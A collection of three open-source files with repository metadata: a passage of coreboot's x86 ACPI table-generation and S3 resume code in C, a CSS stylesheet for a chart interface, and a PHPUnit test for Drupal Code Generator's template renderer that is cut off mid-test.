acpi_checksum((void *)madt, header->length); } /* MCFG is defined in the PCI Firmware Specification 3.0. */ void acpi_create_mcfg(acpi_mcfg_t *mcfg) { acpi_header_t *header = &(mcfg->header); unsigned long current = (unsigned long)mcfg + sizeof(acpi_mcfg_t); memset((void *)mcfg, 0, sizeof(acpi_mcfg_t)); /* Fill out header fields. */ memcpy(header->signature, "MCFG", 4); memcpy(header->oem_id, OEM_ID, 6); memcpy(header->oem_table_id, ACPI_TABLE_CREATOR, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length = sizeof(acpi_mcfg_t); header->revision = 1; current = acpi_fill_mcfg(current); /* (Re)calculate length and checksum. */ header->length = current - (unsigned long)mcfg; header->checksum = acpi_checksum((void *)mcfg, header->length); } static void *get_tcpa_log(u32 *size) { const struct cbmem_entry *ce; const u32 tcpa_default_log_len = 0x10000; void *lasa; ce = cbmem_entry_find(CBMEM_ID_TCPA_LOG); if (ce) { lasa = cbmem_entry_start(ce); *size = cbmem_entry_size(ce); printk(BIOS_DEBUG, "TCPA log found at %p\n", lasa); return lasa; } lasa = cbmem_add(CBMEM_ID_TCPA_LOG, tcpa_default_log_len); if (!lasa) { printk(BIOS_ERR, "TCPA log creation failed\n"); return NULL; } printk(BIOS_DEBUG, "TCPA log created at %p\n", lasa); memset (lasa, 0, tcpa_default_log_len); *size = tcpa_default_log_len; return lasa; } static void acpi_create_tcpa(acpi_tcpa_t *tcpa) { acpi_header_t *header = &(tcpa->header); u32 tcpa_log_len; void *lasa; memset((void *)tcpa, 0, sizeof(acpi_tcpa_t)); lasa = get_tcpa_log(&tcpa_log_len); if (!lasa) { return; } /* Fill out header fields. */ memcpy(header->signature, "TCPA", 4); memcpy(header->oem_id, OEM_ID, 6); memcpy(header->oem_table_id, ACPI_TABLE_CREATOR, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length = sizeof(acpi_tcpa_t); header->revision = 2; tcpa->platform_class = 0; tcpa->laml = tcpa_log_len; tcpa->lasa = (uintptr_t) lasa; /* Calculate checksum. */ header->checksum = acpi_checksum((void *)tcpa, header->length); } void acpi_create_ssdt_generator(acpi_header_t *ssdt, const char *oem_table_id) { unsigned long current = (unsigned long)ssdt + sizeof(acpi_header_t); memset((void *)ssdt, 0, sizeof(acpi_header_t)); memcpy(&ssdt->signature, "SSDT", 4); ssdt->revision = 2; /* ACPI 1.0/2.0: ?, ACPI 3.0/4.0: 2 */ memcpy(&ssdt->oem_id, OEM_ID, 6); memcpy(&ssdt->oem_table_id, oem_table_id, 8); ssdt->oem_revision = 42; memcpy(&ssdt->asl_compiler_id, ASLC, 4); ssdt->asl_compiler_revision = 42; ssdt->length = sizeof(acpi_header_t); acpigen_set_current((char *) current); { struct device *dev; for (dev = all_devices; dev; dev = dev->next) if (dev->ops && dev->ops->acpi_fill_ssdt_generator) { dev->ops->acpi_fill_ssdt_generator(dev); } current = (unsigned long) acpigen_get_current(); } /* (Re)calculate length and checksum. */ ssdt->length = current - (unsigned long)ssdt; ssdt->checksum = acpi_checksum((void *)ssdt, ssdt->length); } int acpi_create_srat_lapic(acpi_srat_lapic_t *lapic, u8 node, u8 apic) { memset((void *)lapic, 0, sizeof(acpi_srat_lapic_t)); lapic->type = 0; /* Processor local APIC/SAPIC affinity structure */ lapic->length = sizeof(acpi_srat_lapic_t); lapic->flags = (1 << 0); /* Enabled (the use of this structure). */ lapic->proximity_domain_7_0 = node; /* TODO: proximity_domain_31_8, local SAPIC EID, clock domain. */ lapic->apic_id = apic; return lapic->length; } int acpi_create_srat_mem(acpi_srat_mem_t *mem, u8 node, u32 basek, u32 sizek, u32 flags) { mem->type = 1; /* Memory affinity structure */ mem->length = sizeof(acpi_srat_mem_t); mem->base_address_low = (basek << 10); mem->base_address_high = (basek >> (32 - 10)); mem->length_low = (sizek << 10); mem->length_high = (sizek >> (32 - 10)); mem->proximity_domain = node; mem->flags = flags; return mem->length; } /* http://www.microsoft.com/whdc/system/sysinternals/sratdwn.mspx */ void acpi_create_srat(acpi_srat_t *srat, unsigned long (*acpi_fill_srat)(unsigned long current)) { acpi_header_t *header = &(srat->header); unsigned long current = (unsigned long)srat + sizeof(acpi_srat_t); memset((void *)srat, 0, sizeof(acpi_srat_t)); /* Fill out header fields. */ memcpy(header->signature, "SRAT", 4); memcpy(header->oem_id, OEM_ID, 6); memcpy(header->oem_table_id, ACPI_TABLE_CREATOR, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length = sizeof(acpi_srat_t); header->revision = 1; /* ACPI 1.0: N/A, 2.0: 1, 3.0: 2, 4.0: 3 */ srat->resv = 1; /* Spec: Reserved to 1 for backwards compatibility. */ current = acpi_fill_srat(current); /* (Re)calculate length and checksum. */ header->length = current - (unsigned long)srat; header->checksum = acpi_checksum((void *)srat, header->length); } void acpi_create_dmar(acpi_dmar_t *dmar, unsigned long (*acpi_fill_dmar) (unsigned long)) { acpi_header_t *header = &(dmar->header); unsigned long current = (unsigned long)dmar + sizeof(acpi_dmar_t); memset((void *)dmar, 0, sizeof(acpi_dmar_t)); /* Fill out header fields. */ memcpy(header->signature, "DMAR", 4); memcpy(header->oem_id, OEM_ID, 6); memcpy(header->oem_table_id, ACPI_TABLE_CREATOR, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length = sizeof(acpi_dmar_t); header->revision = 1; dmar->host_address_width = 40 - 1; /* FIXME: == MTRR size? */ dmar->flags = 0; current = acpi_fill_dmar(current); /* (Re)calculate length and checksum. */ header->length = current - (unsigned long)dmar; header->checksum = acpi_checksum((void *)dmar, header->length); } unsigned long acpi_create_dmar_drhd(unsigned long current, u8 flags, u16 segment, u32 bar) { dmar_entry_t *drhd = (dmar_entry_t *)current; memset(drhd, 0, sizeof(*drhd)); drhd->type = DMAR_DRHD; drhd->length = sizeof(*drhd); /* will be fixed up later */ drhd->flags = flags; drhd->segment = segment; drhd->bar = bar; return drhd->length; } void acpi_dmar_drhd_fixup(unsigned long base, unsigned long current) { dmar_entry_t *drhd = (dmar_entry_t *)base; drhd->length = current - base; } unsigned long acpi_create_dmar_drhd_ds_pci(unsigned long current, u8 segment, u8 dev, u8 fn) { dev_scope_t *ds = (dev_scope_t *)current; memset(ds, 0, sizeof(*ds)); ds->type = SCOPE_PCI_ENDPOINT; ds->length = sizeof(*ds) + 2; /* we don't support longer paths yet */ ds->start_bus = segment; ds->path[0].dev = dev; ds->path[0].fn = fn; return ds->length; } /* http://h21007.www2.hp.com/portal/download/files/unprot/Itanium/slit.pdf */ void acpi_create_slit(acpi_slit_t *slit, unsigned long (*acpi_fill_slit)(unsigned long current)) { acpi_header_t *header = &(slit->header); unsigned long current = (unsigned long)slit + sizeof(acpi_slit_t); memset((void *)slit, 0, sizeof(acpi_slit_t)); /* Fill out header fields. */ memcpy(header->signature, "SLIT", 4); memcpy(header->oem_id, OEM_ID, 6); memcpy(header->oem_table_id, ACPI_TABLE_CREATOR, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length = sizeof(acpi_slit_t); header->revision = 1; /* ACPI 1.0: N/A, ACPI 2.0/3.0/4.0: 1 */ current = acpi_fill_slit(current); /* (Re)calculate length and checksum. */ header->length = current - (unsigned long)slit; header->checksum = acpi_checksum((void *)slit, header->length); } /* http://www.intel.com/hardwaredesign/hpetspec_1.pdf */ void acpi_create_hpet(acpi_hpet_t *hpet) { acpi_header_t *header = &(hpet->header); acpi_addr_t *addr = &(hpet->addr); memset((void *)hpet, 0, sizeof(acpi_hpet_t)); /* Fill out header fields. */ memcpy(header->signature, "HPET", 4); memcpy(header->oem_id, OEM_ID, 6); memcpy(header->oem_table_id, ACPI_TABLE_CREATOR, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length = sizeof(acpi_hpet_t); header->revision = 1; /* Currently 1. Table added in ACPI 2.0. */ /* Fill out HPET address. */ addr->space_id = 0; /* Memory */ addr->bit_width = 64; addr->bit_offset = 0; addr->addrl = CONFIG_HPET_ADDRESS & 0xffffffff; addr->addrh = ((unsigned long long)CONFIG_HPET_ADDRESS) >> 32; hpet->id = *(unsigned int*)CONFIG_HPET_ADDRESS; hpet->number = 0; hpet->min_tick = CONFIG_HPET_MIN_TICKS; header->checksum = acpi_checksum((void *)hpet, sizeof(acpi_hpet_t)); } unsigned long acpi_write_hpet(device_t device, unsigned long current, acpi_rsdp_t *rsdp) { acpi_hpet_t *hpet; /* * We explicitly add these tables later on: */ printk(BIOS_DEBUG, "ACPI: * HPET\n"); hpet = (acpi_hpet_t *) current; current += sizeof(acpi_hpet_t); current = ALIGN(current, 16); acpi_create_hpet(hpet); acpi_add_table(rsdp, hpet); return current; } void acpi_create_facs(acpi_facs_t *facs) { memset((void *)facs, 0, sizeof(acpi_facs_t)); memcpy(facs->signature, "FACS", 4); facs->length = sizeof(acpi_facs_t); facs->hardware_signature = 0; facs->firmware_waking_vector = 0; facs->global_lock = 0; facs->flags = 0; facs->x_firmware_waking_vector_l = 0; facs->x_firmware_waking_vector_h = 0; facs->version = 1; /* ACPI 1.0: 0, ACPI 2.0/3.0: 1, ACPI 4.0: 2 */ } static void acpi_write_rsdt(acpi_rsdt_t *rsdt, char *oem_id, char *oem_table_id) { acpi_header_t *header = &(rsdt->header); /* Fill out header fields. */ memcpy(header->signature, "RSDT", 4); memcpy(header->oem_id, oem_id, 6); memcpy(header->oem_table_id, oem_table_id, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length = sizeof(acpi_rsdt_t); header->revision = 1; /* ACPI 1.0/2.0/3.0/4.0: 1 */ /* Entries are filled in later, we come with an empty set. */ /* Fix checksum. */ header->checksum = acpi_checksum((void *)rsdt, sizeof(acpi_rsdt_t)); } static void acpi_write_xsdt(acpi_xsdt_t *xsdt, char *oem_id, char *oem_table_id) { acpi_header_t *header = &(xsdt->header); /* Fill out header fields. */ memcpy(header->signature, "XSDT", 4); memcpy(header->oem_id, oem_id, 6); memcpy(header->oem_table_id, oem_table_id, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length = sizeof(acpi_xsdt_t); header->revision = 1; /* ACPI 1.0: N/A, 2.0/3.0/4.0: 1 */ /* Entries are filled in later, we come with an empty set. */ /* Fix checksum. */ header->checksum = acpi_checksum((void *)xsdt, sizeof(acpi_xsdt_t)); } static void acpi_write_rsdp(acpi_rsdp_t *rsdp, acpi_rsdt_t *rsdt, acpi_xsdt_t *xsdt, char *oem_id) { memset(rsdp, 0, sizeof(acpi_rsdp_t)); memcpy(rsdp->signature, RSDP_SIG, 8); memcpy(rsdp->oem_id, oem_id, 6); rsdp->length = sizeof(acpi_rsdp_t); rsdp->rsdt_address = (uintptr_t)rsdt; /* * Revision: ACPI 1.0: 0, ACPI 2.0/3.0/4.0: 2. * * Some OSes expect an XSDT to be present for RSD PTR revisions >= 2. * If we don't have an ACPI XSDT, force ACPI 1.0 (and thus RSD PTR * revision 0). */ if (xsdt == NULL) { rsdp->revision = 0; } else { rsdp->xsdt_address = (u64)(uintptr_t)xsdt; rsdp->revision = 2; } /* Calculate checksums. */ rsdp->checksum = acpi_checksum((void *)rsdp, 20); rsdp->ext_checksum = acpi_checksum((void *)rsdp, sizeof(acpi_rsdp_t)); } unsigned long acpi_create_hest_error_source(acpi_hest_t *hest, acpi_hest_esd_t *esd, u16 type, void *data, u16 data_len) { acpi_header_t *header = &(hest->header); acpi_hest_hen_t *hen; void *pos; u16 len; pos = esd; memset(pos, 0, sizeof(acpi_hest_esd_t)); len = 0; esd->type = type; /* MCE */ esd->source_id = hest->error_source_count; esd->flags = 0; /* FIRMWARE_FIRST */ esd->enabled = 1; esd->prealloc_erecords = 1; esd->max_section_per_record = 0x1; len += sizeof(acpi_hest_esd_t); pos = esd + 1; switch (type) { case 0: /* MCE */ break; case 1: /* CMC */ hen = (acpi_hest_hen_t *) (pos); memset(pos, 0, sizeof(acpi_hest_hen_t)); hen->type = 3; /* SCI? */ hen->length = sizeof(acpi_hest_hen_t); hen->conf_we = 0; /* Configuration Write Enable. */ hen->poll_interval = 0; hen->vector = 0; hen->sw2poll_threshold_val = 0; hen->sw2poll_threshold_win = 0; hen->error_threshold_val = 0; hen->error_threshold_win = 0; len += sizeof(acpi_hest_hen_t); pos = hen + 1; break; case 2: /* NMI */ case 6: /* AER Root Port */ case 7: /* AER Endpoint */ case 8: /* AER Bridge */ case 9: /* Generic Hardware Error Source. */ /* TODO: */ break; default: printk(BIOS_DEBUG, "Invalid type of Error Source."); break; } hest->error_source_count ++; memcpy(pos, data, data_len); len += data_len; header->length += len; return len; } /* ACPI 4.0 */ void acpi_write_hest(acpi_hest_t *hest, unsigned long (*acpi_fill_hest)(acpi_hest_t *hest)) { acpi_header_t *header = &(hest->header); memset(hest, 0, sizeof(acpi_hest_t)); memcpy(header->signature, "HEST", 4); memcpy(header->oem_id, OEM_ID, 6); memcpy(header->oem_table_id, ACPI_TABLE_CREATOR, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length += sizeof(acpi_hest_t); header->revision = 1; acpi_fill_hest(hest); /* Calculate checksums. */ header->checksum = acpi_checksum((void *)hest, header->length); } #if IS_ENABLED(CONFIG_COMMON_FADT) void acpi_create_fadt(acpi_fadt_t *fadt,acpi_facs_t *facs, void *dsdt) { acpi_header_t *header = &(fadt->header); memset((void *) fadt, 0, sizeof(acpi_fadt_t)); memcpy(header->signature, "FACP", 4); header->length = sizeof(acpi_fadt_t); header->revision = 4; memcpy(header->oem_id, OEM_ID, 6); memcpy(header->oem_table_id, ACPI_TABLE_CREATOR, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->asl_compiler_revision = 0; fadt->firmware_ctrl = (unsigned long) facs; fadt->dsdt = (unsigned long) dsdt; fadt->x_firmware_ctl_l = (unsigned long)facs; fadt->x_firmware_ctl_h = 0; fadt->x_dsdt_l = (unsigned long)dsdt; fadt->x_dsdt_h = 0; if(IS_ENABLED(CONFIG_SYSTEM_TYPE_LAPTOP)) { fadt->preferred_pm_profile = PM_MOBILE; } else { fadt->preferred_pm_profile = PM_DESKTOP; } acpi_fill_fadt(fadt); header->checksum = acpi_checksum((void *) fadt, header->length); } #endif unsigned long __attribute__ ((weak)) fw_cfg_acpi_tables(unsigned long start) { return 0; } #define ALIGN_CURRENT current = (ALIGN(current, 16)) unsigned long write_acpi_tables(unsigned long start) { unsigned long current; acpi_rsdp_t *rsdp; acpi_rsdt_t *rsdt; acpi_xsdt_t *xsdt; acpi_fadt_t *fadt; acpi_facs_t *facs; acpi_header_t *slic_file, *slic; acpi_header_t *ssdt; acpi_header_t *dsdt_file, *dsdt; acpi_mcfg_t *mcfg; acpi_tcpa_t *tcpa; acpi_madt_t *madt; struct device *dev; unsigned long fw; size_t slic_size, dsdt_size; char oem_id[6], oem_table_id[8]; current = start; /* Align ACPI tables to 16byte */ ALIGN_CURRENT; fw = fw_cfg_acpi_tables(current); if (fw) return fw; #if CONFIG_COMPILE_IN_DSDT extern char _binary_dsdt_aml_start; extern char _binary_dsdt_aml_end; dsdt_file = (acpi_header_t *)&_binary_dsdt_aml_start; dsdt_size = (size_t)(&_binary_dsdt_aml_end - &_binary_dsdt_aml_start); #else dsdt_file = cbfs_boot_map_with_leak( CONFIG_CBFS_PREFIX "/dsdt.aml", CBFS_TYPE_RAW, &dsdt_size); #endif if (!dsdt_file) { printk(BIOS_ERR, "No DSDT file, skipping ACPI tables\n"); return current; } if (dsdt_file->length > dsdt_size || dsdt_file->length < sizeof (acpi_header_t) || memcmp(dsdt_file->signature, "DSDT", 4) != 0) { printk(BIOS_ERR, "Invalid DSDT file, skipping ACPI tables\n"); return current; } slic_file = cbfs_boot_map_with_leak(CONFIG_CBFS_PREFIX "/slic", CBFS_TYPE_RAW, &slic_size); if (slic_file && (slic_file->length > slic_size || slic_file->length < sizeof (acpi_header_t) || memcmp(slic_file->signature, "SLIC", 4) != 0)) { slic_file = 0; } if (slic_file) { memcpy(oem_id, slic_file->oem_id, 6); memcpy(oem_table_id, slic_file->oem_table_id, 8); } else { memcpy(oem_id, OEM_ID, 6); memcpy(oem_table_id, ACPI_TABLE_CREATOR, 8); } printk(BIOS_INFO, "ACPI: Writing ACPI tables at %lx.\n", start); /* We need at least an RSDP and an RSDT Table */ rsdp = (acpi_rsdp_t *) current; current += sizeof(acpi_rsdp_t); ALIGN_CURRENT; rsdt = (acpi_rsdt_t *) current; current += sizeof(acpi_rsdt_t); ALIGN_CURRENT; xsdt = (acpi_xsdt_t *) current; current += sizeof(acpi_xsdt_t); ALIGN_CURRENT; /* clear all table memory */ memset((void *) start, 0, current - start); acpi_write_rsdp(rsdp, rsdt, xsdt, oem_id); acpi_write_rsdt(rsdt, oem_id, oem_table_id); acpi_write_xsdt(xsdt, oem_id, oem_table_id); printk(BIOS_DEBUG, "ACPI: * FACS\n"); current = (ALIGN(current, 64)); facs = (acpi_facs_t *) current; current += sizeof(acpi_facs_t); ALIGN_CURRENT; acpi_create_facs(facs); printk(BIOS_DEBUG, "ACPI: * DSDT\n"); dsdt = (acpi_header_t *) current; memcpy(dsdt, dsdt_file, sizeof(acpi_header_t)); if (dsdt->length >= sizeof(acpi_header_t)) { current += sizeof(acpi_header_t); acpigen_set_current((char *) current); for (dev = all_devices; dev; dev = dev->next) if (dev->ops && dev->ops->acpi_inject_dsdt_generator) { dev->ops->acpi_inject_dsdt_generator(dev); } current = (unsigned long) acpigen_get_current(); memcpy((char *)current, (char *)dsdt_file + sizeof(acpi_header_t), dsdt->length - sizeof(acpi_header_t)); current += dsdt->length - sizeof(acpi_header_t); /* (Re)calculate length and checksum. */ dsdt->length = current - (unsigned long)dsdt; dsdt->checksum = 0; dsdt->checksum = acpi_checksum((void *)dsdt, dsdt->length); } ALIGN_CURRENT; printk(BIOS_DEBUG, "ACPI: * FADT\n"); fadt = (acpi_fadt_t *) current; current += sizeof(acpi_fadt_t); ALIGN_CURRENT; acpi_create_fadt(fadt, facs, dsdt); acpi_add_table(rsdp, fadt); if (slic_file) { printk(BIOS_DEBUG, "ACPI: * SLIC\n"); slic = (acpi_header_t *)current; memcpy(slic, slic_file, slic_file->length); current += slic_file->length; ALIGN_CURRENT; acpi_add_table(rsdp, slic); } printk(BIOS_DEBUG, "ACPI: * SSDT\n"); ssdt = (acpi_header_t *)current; acpi_create_ssdt_generator(ssdt, ACPI_TABLE_CREATOR); if (ssdt->length > sizeof(acpi_header_t)) { current += ssdt->length; acpi_add_table(rsdp, ssdt); ALIGN_CURRENT; } printk(BIOS_DEBUG, "ACPI: * MCFG\n"); mcfg = (acpi_mcfg_t *) current; acpi_create_mcfg(mcfg); if (mcfg->header.length > sizeof(acpi_mcfg_t)) { current += mcfg->header.length; ALIGN_CURRENT; acpi_add_table(rsdp, mcfg); } printk(BIOS_DEBUG, "ACPI: * TCPA\n"); tcpa = (acpi_tcpa_t *) current; acpi_create_tcpa(tcpa); if (tcpa->header.length >= sizeof(acpi_tcpa_t)) { current += tcpa->header.length; ALIGN_CURRENT; acpi_add_table(rsdp, tcpa); } printk(BIOS_DEBUG, "ACPI: * MADT\n"); madt = (acpi_madt_t *) current; acpi_create_madt(madt); if (madt->header.length > sizeof(acpi_madt_t)) { current+=madt->header.length; acpi_add_table(rsdp,madt); } ALIGN_CURRENT; printk(BIOS_DEBUG, "current = %lx\n", current); for (dev = all_devices; dev; dev = dev->next) { if (dev->ops && dev->ops->write_acpi_tables) { current = dev->ops->write_acpi_tables(dev, current, rsdp); ALIGN_CURRENT; } } printk(BIOS_INFO, "ACPI: done.\n"); return current; } #if CONFIG_HAVE_ACPI_RESUME void __attribute__((weak)) mainboard_suspend_resume(void) { } void acpi_resume(void *wake_vec) { #if CONFIG_HAVE_SMI_HANDLER u32 *gnvs_address = cbmem_find(CBMEM_ID_ACPI_GNVS_PTR); /* Restore GNVS pointer in SMM if found */ if (gnvs_address && *gnvs_address) { printk(BIOS_DEBUG, "Restore GNVS pointer to 0x%08x\n", *gnvs_address); smm_setup_structures((void *)*gnvs_address, NULL, NULL); } #endif /* Call mainboard resume handler first, if defined. */ mainboard_suspend_resume(); post_code(POST_OS_RESUME); acpi_jump_to_wakeup(wake_vec); } /* This is filled with acpi_is_wakeup() call early in ramstage. */ int acpi_slp_type = -1; #if IS_ENABLED(CONFIG_EARLY_CBMEM_INIT) int acpi_get_sleep_type(void) { struct romstage_handoff *handoff; handoff = cbmem_find(CBMEM_ID_ROMSTAGE_INFO); if (handoff == NULL) { printk(BIOS_DEBUG, "Unknown boot method, assuming normal.\n"); return 0; } else if (handoff->s3_resume) { printk(BIOS_DEBUG, "S3 Resume.\n"); return 3; } else { printk(BIOS_DEBUG, "Normal boot.\n"); return 0; } } #endif static void acpi_handoff_wakeup(void) { if (acpi_slp_type < 0) acpi_slp_type = acpi_get_sleep_type(); } int acpi_is_wakeup(void) { acpi_handoff_wakeup(); /* Both resume from S2 and resume from S3 restart at CPU reset */ return (acpi_slp_type == 3 || acpi_slp_type == 2); } int acpi_is_wakeup_s3(void) { acpi_handoff_wakeup(); return (acpi_slp_type == 3); } void acpi_fail_wakeup(void) { if (acpi_slp_type == 3 || acpi_slp_type == 2) acpi_slp_type = 0; } void acpi_prepare_resume_backup(void) { if (!acpi_s3_resume_allowed()) return; /* Let's prepare the ACPI S3 Resume area now already, so we can rely on * it being there during reboot time. We don't need the pointer, nor * the result right now. If it fails, ACPI resume will be disabled. */ if (HIGH_MEMORY_SAVE) cbmem_add(CBMEM_ID_RESUME, HIGH_MEMORY_SAVE); } static acpi_rsdp_t *valid_rsdp(acpi_rsdp_t *rsdp) { if (strncmp((char *)rsdp, RSDP_SIG, sizeof(RSDP_SIG) - 1) != 0) return NULL; printk(BIOS_DEBUG, "Looking on %p for valid checksum\n", rsdp); if (acpi_checksum((void *)rsdp, 20) != 0) return NULL; printk(BIOS_DEBUG, "Checksum 1 passed\n"); if ((rsdp->revision > 1) && (acpi_checksum((void *)rsdp, rsdp->length) != 0)) return NULL; printk(BIOS_DEBUG, "Checksum 2 passed all OK\n"); return rsdp; } static acpi_rsdp_t *rsdp; void *acpi_get_wakeup_rsdp(void) { return rsdp; } void *acpi_find_wakeup_vector(void) { char *p, *end; acpi_rsdt_t *rsdt; acpi_facs_t *facs; acpi_fadt_t *fadt = NULL; void *wake_vec; int i; rsdp = NULL; if (!acpi_is_wakeup()) return NULL; printk(BIOS_DEBUG, "Trying to find the wakeup vector...\n"); /* Find RSDP. */ for (p = (char *)0xe0000; p < (char *)0xfffff; p += 16) { if ((rsdp = valid_rsdp((acpi_rsdp_t *)p))) break; } if (rsdp == NULL) return NULL; printk(BIOS_DEBUG, "RSDP found at %p\n", rsdp); rsdt = (acpi_rsdt_t *) rsdp->rsdt_address; end = (char *)rsdt + rsdt->header.length; printk(BIOS_DEBUG, "RSDT found at %p ends at %p\n", rsdt, end); for (i = 0; ((char *)&rsdt->entry[i]) < end; i++) { fadt = (acpi_fadt_t *)rsdt->entry[i]; if (strncmp((char *)fadt, "FACP", 4) == 0) break; fadt = NULL; } if (fadt == NULL) return NULL; printk(BIOS_DEBUG, "FADT found at %p\n", fadt); facs = (acpi_facs_t *)fadt->firmware_ctrl; if (facs == NULL) { printk(BIOS_DEBUG, "No FACS found, wake up from S3 not " "possible.\n"); return NULL; } printk(BIOS_DEBUG, "FACS found at %p\n", facs); wake_vec = (void *)facs->firmware_waking_vector; printk(BIOS_DEBUG, "OS waking vector is %p\n", wake_vec); return wake_vec; } #if CONFIG_SMP extern char *lowmem_backup; extern char *lowmem_backup_ptr; extern int lowmem_backup_size; #endif #define WAKEUP_BASE 0x600 void (*acpi_do_wakeup)(u32 vector, u32 backup_source, u32 backup_target, u32 backup_size) asmlinkage = (void *)WAKEUP_BASE; extern unsigned char __wakeup; extern unsigned int __wakeup_size; void acpi_jump_to_wakeup(void *vector) { u32 acpi_backup_memory = 0; if (HIGH_MEMORY_SAVE && acpi_s3_resume_allowed()) { acpi_backup_memory = (u32)cbmem_find(CBMEM_ID_RESUME); if (!acpi_backup_memory) { printk(BIOS_WARNING, "ACPI: Backup memory missing. " "No S3 resume.\n"); return; } } #if CONFIG_SMP // FIXME: This should go into the ACPI backup memory, too. No pork sausages. /* * Just restore the SMP trampoline and continue with wakeup on * assembly level. */ memcpy(lowmem_backup_ptr, lowmem_backup, lowmem_backup_size); #endif /* Copy wakeup trampoline in place. */ memcpy((void *)WAKEUP_BASE, &__wakeup, __wakeup_size); timestamp_add_now(TS_ACPI_WAKE_JUMP); acpi_do_wakeup((u32)vector, acpi_backup_memory, CONFIG_RAMBASE, HIGH_MEMORY_SAVE); } #endif void acpi_save_gnvs(u32 gnvs_address) { u32 *gnvs = cbmem_add(CBMEM_ID_ACPI_GNVS_PTR, sizeof(*gnvs)); if (gnvs) *gnvs = gnvs_address; }
fishbaoz/coreboot
src/arch/x86/acpi.c
C
gpl-2.0
29,896
.node rect { fill: #F1595F; cursor: pointer; stroke: #000; stroke-width:.15px; } .roundedrect { fill: #F1595F; cursor: pointer; stroke: #000; stroke-width:2px; } .authorrect { } .rrr{ } .node text { font: 8px sans-serif; pointer-events: none; } path.link { fill: none; stroke: #d5e6ec; stroke-width: 1.5px; } .linktopics { fill: none; /*stroke: #d5e6ec; */ stroke:#00479D; stroke-width: 1.5px; } .linkauthors { fill: none; stroke: #9970AB; stroke-width: 1.5px; } body { /* font-family: "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Neue", Helvetica, sans-serif;*/ font-family: "HelveticaNeueLight", "HelveticaNeue-Light", "Helvetica Neue Light", "HelveticaNeue", "Helvetica Neue", 'TeXGyreHerosRegular', "Arial", sans-serif; font-weight: 200; font-stretch: normal; padding: 10px; } #chart {border: 2px solid #eee; margin: 0px; width: 300px; height: 665px; vertical-align: top; overflow:scroll;} a { text-decoration: none; } #chart a{ text-decoration: none; color:#000;} h2, h3 { margin: 0 0 20px; text-shadow: 2px 2px #fff; } h2 { font-size: 28px; } h3 { font-size: 22px; } pre { background: #fff; width: 460px; padding: 10px 20px; border-left: 5px solid #ccc; margin: 0 0 20px; } p { font-size: 18px; line-height: 24px; margin: 0 0 30px; } input { margin: 0; padding: 0; } #chart ul { list-style-type: none; padding:5px; margin:0px;} #chart li.a{ padding:1px; background-image:url(blue_border.png); background-position:2px 5px; background-repeat: no-repeat;padding-left:15px;} #chart li.b{ padding:1px;background-image:url(author.png); background-position:2px 5px; background-repeat: no-repeat;padding-left:15px;} #content {border: 2px solid #eee; margin: 0px; width: 600px; height: 650px; vertical-align: top; background: #eee; overflow:scroll;} ul, ol { padding-left: 20px; line-height: 18px; } .biglist { font-size: 110%; font-weight: bold; background: #fff; padding: 10px 40px; margin: 0; } .jcollapsible { font-size: 125%; font-weight: bold; } #example, #example2, #example3 { width: 120px; float: left; margin-right: 40px; } #example2, #example2 ul { list-style-type: none; } #example3, #example3 ul { list-style: none; } #comments { padding: 0; margin: 0; } #comments li { padding: 5px 0 0; } #comments ul { list-style-type: none;} .comment { background: #fff; padding: 10px; display: block; overflow: hidden; } .comment-author { float: left; width: 60px; font-size: 10px; text-align: center; margin: 0 10px 10px 0; } .comment-body, .comment-body p { font-size: 12px; line-height: 18px; margin: 0; } .comment-body, .comment-body p { font-size: 13px; line-height: 18px; margin: 0; } .link-title{color:#339966;} #div_title{padding-left: 15px;color: #fff; background-image: URL(back.png); width: 590px;} table { margin: 0px; border-collapse: collapse; padding: 0px; width: 100%; } /* search bar */ #tfnewsearch{ float:right; padding:25px; } .tftextinput3{ margin-bottom: 3px; padding: 3px 15px; font-family: Arial, Helvetica, sans-serif; font-size:13px; color:#666; border:1px solid #0076a3; border-top-left-radius: 5px 5px; border-bottom-left-radius: 5px 5px; border-top-right-radius: 5px 5px; border-bottom-right-radius: 5px 5px; } .tfclear{ clear:both; } .highlight{ background-color:yellow; }
enamulubc/ConVis
style_simple.css
CSS
gpl-2.0
3,466
<?php declare(strict_types=1); namespace DrupalCodeGenerator\Tests\Helper; use DrupalCodeGenerator\Asset\File; use DrupalCodeGenerator\Helper\Renderer; use DrupalCodeGenerator\Logger\ConsoleLogger; use DrupalCodeGenerator\Twig\TwigEnvironment; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Output\NullOutput; use Twig\Loader\FilesystemLoader; /** * A test for renderer helper. */ final class RendererTest extends TestCase { /** * The renderer to test. */ private Renderer $renderer; /** * {@inheritdoc} */ public function setUp(): void { parent::setUp(); $twig_loader = new FilesystemLoader(); $twig = new TwigEnvironment($twig_loader); $this->renderer = new Renderer($twig); $this->renderer->prependPath(__DIR__); $logger = new ConsoleLogger(new NullOutput()); $this->renderer->setLogger($logger); } /** * Test callback. */ public function testRender(): void { $content = $this->renderer->render('_template.twig', ['value' => 'example']); self::assertSame($content, "The value is example.\n"); } /** * Test callback. */ public function testRenderAsset(): void { $asset = (new File('foo')) ->template('_template.twig') ->vars(['value' => 'foo']); $this->renderer->renderAsset($asset); self::assertSame("The value is foo.\n", $asset->getContent()); $asset->vars(['value' => 'bar']); $this->renderer->renderAsset($asset); self::assertSame("The value is bar.\n", $asset->getContent()); } /** * Test callback. */ public function testRenderAssetWithHeaderTemplate(): void { $asset = (new File('foo')) ->template('_template.twig') ->vars(['name' => 'foo', 'value' => 'bar']) ->headerTemplate('_header_template.twig'); $this->renderer->renderAsset($asset); $expected_content = "The name is foo.\n\nThe value is bar.\n"; self::assertSame($expected_content, $asset->getContent()); } /** * Test callback. */ public function testRenderAssetWithContent(): void { $asset = (new File('foo')) ->content('example') ->template(NULL); $this->renderer->renderAsset($asset); self::assertSame('example', $asset->getContent()); } /** * Test callback. */ public function testRenderAssetWithInlineTemplate(): void { $asset = (new File('foo')) ->inlineTemplate('{{ a }} + {{ b }} = {{ a + b }}') ->vars(['a' => '2', 'b' => '3']); $this->renderer->renderAsset($asset); 